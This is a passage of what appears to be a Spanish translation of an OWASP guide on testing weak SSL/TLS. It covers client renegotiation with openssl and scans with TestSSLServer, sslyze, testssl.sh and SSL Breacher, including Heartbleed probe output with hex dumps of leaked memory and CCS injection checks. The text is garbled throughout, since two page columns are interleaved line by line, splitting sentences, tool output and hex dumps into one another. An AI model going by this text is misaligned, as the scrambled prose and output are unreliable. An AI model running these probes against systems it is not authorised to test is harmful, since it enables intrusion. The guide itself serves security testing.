| NULL Ejemplo 4 Compruebe la renegociación iniciada por el cliente y la

renegociación de seguridad mediante openssl (manualmente)
|_ least strength: strong
Openssl [30] puede ser utilizado para pruebas manuales de SSL/TLS. En este
995/tcp open pop3s ejemplo, el evaluador intenta iniciar una renegociación por parte del cliente
[m] conectándose al servidor con openssl. El evaluador escribe entonces la
| ssl-cert: Subject: commonName=*.exapmple.com primera línea de una solicitud HTTP y escribe "R" en una nueva línea. Espera
una renegociación y cierre de la solicitud HTTP y comprueba si la
| Issuer: commonName=******* renegociación segura es compatible mirando el resultado del servidor. Usando
peticiones manuales también es posible ver si está habilitada la compresión de
| Public Key type: rsa TLS y comprobar el CRIME [13], cifrado y otras vulnerabilidades.
| Public Key bits: 2048 $ openssl s_client -connect www2.example.com:443
| Not valid before: 2010-01-23T00:00:00+00:00 CONNECTED(00000003)
| Not valid after: 2020-02-28T23:59:59+00:00 depth=2 ******
| MD5: ******* verify error:num=20:unable to get local issuer certificate
|_SHA-1: ******* verify return:0
| ssl-enum-ciphers: ---
| SSLv3: Certificate chain
| ciphers: 0 s:******
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong i:******
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong 1 s:******
| TLS_RSA_WITH_RC4_128_SHA - strong i:******
| compressors: 2 s:******
| NULL i:******

253
--- Verify return code: 20 (unable to get local issuer certificate)
Server certificate
-----BEGIN CERTIFICATE----- Ahora el evaluador puede escribir la primera línea de una solicitud HTTP y
luego R en una nueva línea.
******
HEAD / HTTP/1.1
-----END CERTIFICATE-----
R
subject=******
issuer=******
El servidor renegocia
---
RENEGOTIATING
No client certificate CA names sent
depth=2 C******
---
verify error:num=20:unable to get local issuer certificate
SSL handshake has read 3558 bytes and written 640 bytes
verify return:0
---
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA

Y el evaluador puede completar la solicitud, comprobando la respuesta.
Server public key is 2048 bit
Incluso si HEAD no está permitida, se permite la renegociación iniciada por el
Secure Renegotiation IS NOT supported cliente.
HEAD / HTTP/1.1
Compression: NONE
Expansion: NONE
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource
SSL-Session:
Locator (URL). Contact the server administrator. )
Protocol : TLSv1
Connection: close
Cipher : DES-CBC3-SHA
Pragma: no-cache
Session-ID: ******
Session-ID-ctx:
Master-Key: ******
Content-Length: 1792
Key-Arg : None
PSK identity: None

read:errno=0
PSK identity hint: None
SRP username: None

Ejemplo 5. Prueba de las suites de cifrado soportadas contra ataques
BEAST y CRIME mediante TestSSLServer
Start Time: ******
TestSSLServer [32] es un script que permite al evaluador comprobar la suite de

Timeout : 300 (sec)
cifrado y también los ataques de CRIME y BEAST. BEAST (Browser Exploit

254
Against SSL/TLS) aprovecha una vulnerabilidad de CBC en TLS 1.0. CRIME DHE_RSA_WITH_3DES_EDE_CBC_SHA
(Compression Ratio Info-leak Made Easy) explota una vulnerabilidad de la
compresión de TLS, que debe deshabilitarse. Lo interesante es que la primera RSA_WITH_AES_128_CBC_SHA
solución para BEAST era el uso de RC4, pero esto ahora no es aconsejable debido
a los ataque criptoanalíticos a RC4 [15]. DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
Una herramienta en línea para comprobar estos ataques es SSL Labs, pero puede DHE_RSA_WITH_AES_256_CBC_SHA
ser utilizada sólo con servidores de internet. También tome en cuenta que los datos
que se buscan se almacenarán en el servidor SSL Labs y también resultará alguna RSA_WITH_AES_128_CBC_SHA256
conexión de servidor de SSL Labs [21].
RSA_WITH_AES_256_CBC_SHA256
$ java -jar TestSSLServer.jar www3.example.com 443
RSA_WITH_CAMELLIA_128_CBC_SHA
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
Deflate compression: no
DHE_RSA_WITH_AES_128_CBC_SHA256
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
DHE_RSA_WITH_AES_256_CBC_SHA256
SSLv3
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA
----------------------
Server certificate(s):
******
----------------------
TLS_RSA_WITH_SEED_CBC_SHA
Minimal encryption strength: strong encryption (96-bit or more)
TLS_DHE_RSA_WITH_SEED_CBC_SHA
Achievable encryption strength: strong encryption (96-bit or more)
(TLSv1.0: idem)
BEAST status: vulnerable
(TLSv1.1: idem)
CRIME status: protected
TLSv1.2
RSA_WITH_RC4_128_SHA
Ejemplo 6. Prueba de vulnerabilidades SSL/TLS con sslyze
RSA_WITH_3DES_EDE_CBC_SHA
255
Sslyze [33] es un python script que permite el escaneo masivo y resultados XML. Client-initiated Renegotiations: Rejected
El siguiente es un ejemplo de un escaneo normal. Es una de las herramientas más
completas y versátiles para SSL/TLS testing Secure Renegotiation: Supported
./sslyze.py --regular example.com:443
* Certificate :
REGISTERING AVAILABLE PLUGINS Validation w/ Mozilla’s CA Store: Certificate is NOT Trusted: unable to
get local issuer certificate
-----------------------------
Hostname Validation: MISMATCH
SHA1 Fingerprint: ******

PluginHSTS
PluginSessionRenegotiation
Common Name: www.example.com
PluginCertInfo
Issuer: ******
PluginSessionResumption
Serial Number: ****
PluginOpenSSLCipherSuites
Not Before: Sep 26 00:00:00 2010 GMT
PluginCompression
Not After: Sep 26 23:59:59 2020 GMT
Signature Algorithm: sha1WithRSAEncryption

CHECKING HOST(S) AVAILABILITY
Key Size: 1024 bit
-----------------------------
X509v3 Subject Alternative Name: {‘othername’: [‘<unsupported>’],
‘DNS’: [‘www.example.com’]}
example.com:443 => 127.0.0.1:443
* OCSP Stapling :
Server did not send back an OCSP response.
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443 * Session Resumption :
--------------------------------------------------- With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total

attempts).
With TLS Session Tickets: Supported

* Compression :
Compression Support: Disabled

* SSLV2 Cipher Suites :
* Session Renegotiation :

256
Rejected Cipher Suite(s): Hidden
Undefined - An unexpected error happened:
Preferred Cipher Suite: None ECDH-RSA-AES256-SHA socket.timeout - timed out
ECDH-ECDSA-AES256-SHA socket.timeout - timed out
Accepted Cipher Suite(s): None
* TLSV1_2 Cipher Suites :
Undefined - An unexpected error happened: None
* SSLV3 Cipher Suites :
Preferred Cipher Suite: None
Preferred Cipher Suite:
RC4-SHA 128 bits HTTP 200 OK Undefined - An unexpected error happened:
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out
Accepted Cipher Suite(s): ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK * TLSV1 Cipher Suites :
Undefined - An unexpected error happened: None
Preferred Cipher Suite:
* TLSV1_1 Cipher Suites : RC4-SHA 128 bits Timeout on HTTP GET
Rejected Cipher Suite(s): Hidden Accepted Cipher Suite(s):
Preferred Cipher Suite: None RC4-SHA 128 bits HTTP 200 OK

257
Undefined - An unexpected error happened:
ADH-CAMELLIA256-SHA socket.timeout - timed out
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---
(“owasp.org” resolves to “192.237.166.62 /

2001:4801:7821:77:cd2c:d9de:ff10:170e”)
--> Protocolos de prueba

SCAN COMPLETED IN 9.68 S
------------------------
SSLv2 NOT offered (ok)
SSLv3 offered
Ejemplo 7. Prueba SSL/TLS con testssl.sh
TLSv1 offered (ok)
Testssl.sh [38] es un shell script de Linux que proporciona un resultado claro para
facilitar la toma de decisiones. No solo puede revisar servidores web, pero también TLSv1.1 offered (ok)
servicios en otros puertos, soporta STARTTLS, SNI, SPDY y realiza algunas
revisiones en los encabezados HTTP también. TLSv1.2 offered (ok)
Es una herramienta muy fácil de usar. A continuación verá algunos ejemplos de SPDY/NPN not offered
resultados (sin colores):
user@myhost: % testssl.sh owasp.org

--> Probando el listado estandard de cifrado
########################################################
Null Cipher NOT offered (ok)
testssl.sh v2.0rc3 (https://testssl.sh)
Anonymous NULL Cipher NOT offered (ok)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)
Anonymous DH Cipher NOT offered (ok)
40 Bit encryption NOT offered (ok)

Este programa es software libre. Redistribución + modificación bajo el
GPLv2 está permitido. 56 Bit encryption NOT offered (ok)
USO SIN NINGUNA GARANTIA. USELO BAJO SU PROPIO RIESGO! Export Cipher (general) NOT offered (ok)
Low (<=64 Bit) NOT offered (ok)
Note que solo puede revisar el servidor comparandolo con lo que está DES Cipher NOT offered (ok)
disponible (codificadores/protocolos) localmente en su maquina
Triple DES Cipher offered
########################################################
Medium grade encryption offered
High grade encryption offered (ok)

Usando “OpenSSL 1.0.2-beta1 24 Feb 2014” en
“myhost:/<mypath>/bin/openssl64”
--> Probando el servidor por defecto (Server Hello)
258
Negotiated protocol TLSv1.2 --> Testing (Perfect) Forward Secrecy (P)FS)
Negotiated cipher AES128-GCM-SHA256
no PFS available
Server key size 2048 bit
TLS server extensions: server name, renegotiation info, session ticket, Done now (2014-04-17 15:07) ---> owasp.org:443 <---
heartbeat
Session Tickets RFC 5077 300 seconds

user@myhost: %
--> Probando vulnerabilidades específicas

STARTTLS será probado mediante testssl.sh -t smtp.gmail.com:587 smtp,
cada cifrado con testssl -e <target>, cada cifrado por protocolo con testssl -E
<target>. Solo para mostrar que cifradores locales están instalados para
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) openssl, vea testssl -V. Para una revisión detallada, es mejor tirar los binarios
OpenSSL entregados en la ruta o el de testssl.sh.
Renegotiation (CVE 2009-3555) NOT vulnerable (ok)
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok)

Lo interesante , si un evaluador mira las fuentes, es aprender cómo se analizan
las características; véase el ejemplo 4. Lo mejor es el protocolo entero de
conexión con heartbleed en /bin/bash con /dev/tcp sockets puro -- sin
--> Revisando el cifrado RC4 piggyback perl/python/you name it.
El RC4 parece generalmente disponible. Ahora pruebe cifrados específicos... Además, proporciona un prototipo (vía "testssl.sh -V") del mapeo de nombres
de suites de cifrado RFC a OpenSSL. El evaluador necesita el archivo
mapping-rfc.txt en el mismo directorio.
Hexcode Cipher Name KeyExch. Encryption Bits
-------------------------------------------------------------------- Ejemplo 8. Pruebe el SSL/TLS con SSL Breacher
[0x05] RC4-SHA RSA RC4 128 Esta herramienta [99] es una combinación de varias herramientas con algunas
comprobaciones adicionales para complementar y hacer a las pruebas más
completas SSL. Soporta los siguientes controles:
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a
• HeartBleed
• ChangeCipherSpec Injection
--> Probando respuestas de encabezados HTTP
• BREACH
• BEAST
HSTS no
• Forward Secrecy support
Server Apache
• RC4 support
Application (None)
259
• CRIME & TIME (si se detecta CRIME, también se reporta TIME) Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
• Lucky13 Expiration Date: Sat Nov 09 07:48:47 SGT 2019
• HSTS: Revise la implementación de encabezados HSTS Signature Hash Algorithm: SHA1withRSA
• HSTS: Duración razonable de MAX-AGE Public key: Sun RSA public key, 1024 bits
• HSTS: Revise el soporte de SubDomains modulus:

135632964843555009910164098161004086259135236815846778903941582882
• Certificados expirados 908611097021488277565732851712895057227849656364886898196239901879
569635659861770850920241178222686670162318147175328086853962427921
• Longitud de claves públicas insuficientes
575656093414000691131757099663322369656756090030190369923050306668
778534926124693591013220754558036175189121517
• Host-name no existente
public exponent: 65537

• Algoritmos de hashing débiles e inseguros (MD2, MD4, MD5)
• Soporte SSLv2 Signed for: CN=localhost
• Revisión de cifradores débiles Signed by: CN=localhost
• Prefijos Null en el certificado Total certificate chain: 1
• HTTPS Stripping
• Surf Jacking (Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)
• Elementos y contenidos no SSL incrustados en paginas SSL
• Cache-Control =====================================
pentester@r00ting: % breacher.sh https://localhost/login.php
Certificate Validation:
===============================
Host Info: [!] Signed using Insufficient public key length 1024 bits
============== (Refer to http://www.keylength.com/ for details)
Host : localhost [!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java
ROOT CAs.
Port : 443
Path : /login.php
=====================================
Loading module: Hut3 Cardiac Arrest ...
Certificate Info:
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...
==================

260
[-] Connecting to 127.0.0.1:443 using SSLv3 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
[-] Sending ClientHello 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
[-] ServerHello received 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
[-] Sending Heartbeat 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes are removed):
[-] Closing connection
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.0
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.0
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:. [-] Displaying response (lines consisting entirely of null bytes are removed):
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c. 0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k. 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m............. 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’. 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.

261
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}..... 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
[-] Closing connection 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
[-] Connecting to 127.0.0.1:443 using TLSv1.1 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
[-] Sending ClientHello 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
[-] ServerHello received 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
[-] Sending Heartbeat 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over TLSv1.1
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.2
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.2
262
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........ [!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in

http://heartbleed.com/
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[!] Vulnerability Status: VULNERABLE
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
=====================================
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
Loading module: CCS Injection script by TripWire VERT ...
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m............. (CVE-2014-0224) ...
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. [!] The target may allow early CCS on TLSv1.2
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. [!] The target may allow early CCS on TLSv1.1
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. [!] The target may allow early CCS on TLSv1
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. [!] The target may allow early CCS on SSLv3
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. [-] This is an experimental detection script and does not definitively determine
vulnerable server status.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... [!] Vulnerability Status: Possible
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... =====================================
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

263
Checking localhost:443 for HTTP Compression support against BREACH

vulnerability (CVE-2013-3587) ...
=====================================
[*] HTTP Compression: DISABLED
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-

13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf Checking localhost:443 for correct use of Strict Transport Security (STS) response
header (RFC6797) ...
[*] Vulnerability Status: No
[!] STS response header: NOT PRESENT
[!] Vulnerable to MITM threats mentioned in

--------------- RAW HTTP RESPONSE --------------- https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 --------------- RAW HTTP RESPONSE ---------------
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; HTTP/1.1 200 OK

secure
Date: Wed, 23 Jul 2014 13:48:07 GMT
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT;
path=/ Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
Content-Length: 193 X-Powered-By: PHP/5.4.7
Connection: close Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/;

secure
path=/
<html> Content-Length: 193
<head> Connection: close
<title>Login page </title> Content-Type: text/html
</head>
<body> <html>
<script src=”http://othersite/test.js”></script> <head>
<title>Login page </title>
<link rel=”stylesheet” type=”text/css” href=”http://somesite/test.css”> </head>

264
<body> =====================================
<script src=”http://othersite/test.js”></script>
Checking localhost:443 for ROBUST use of anti-caching mechanism ...
<link rel=”stylesheet” type=”text/css” href=”http://somesite/test.css”>
[!] Cache Control Directives: NOT PRESENT
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive
information will be leaked.
=====================================
Checking localhost for HTTP support against HTTPS Stripping attack ...
-------------------------------------------------
[!] HTTP Support on port [80] : SUPPORTED
[!] Vulnerable to HTTPS Stripping attack mentioned in

https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09- Robust Solution:
Marlinspike-Defeating-SSL.pdf

- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0,
post-check=0, max-age=0, s-maxage=0
- Ref:
https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-
===================================== AUTHN-006)
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx
Checking localhost:443 for HTTP elements embedded in SSL page ...
=====================================
[!] HTTP elements embedded in SSL page: PRESENT
[!] Vulnerable to MITM malicious content injection attack Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie
missing secure flag) ...
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES

--------------- HTTP RESOURCES EMBEDDED ---------------
[!] Vulnerable to Surf Jacking attack mentioned in
- http://othersite/test.js https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf
- http://somesite/test.css [!] Vulnerability Status: VULNERABLE

265
--------------- RAW HTTP RESPONSE --------------- [!] Vulnerable to MITM attack described in
[!] Vulnerable to MITM attack described in
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT http://www.isg.rhul.ac.uk/tls/
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 [!] Vulnerability Status: VULNERABLE
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/;

secure

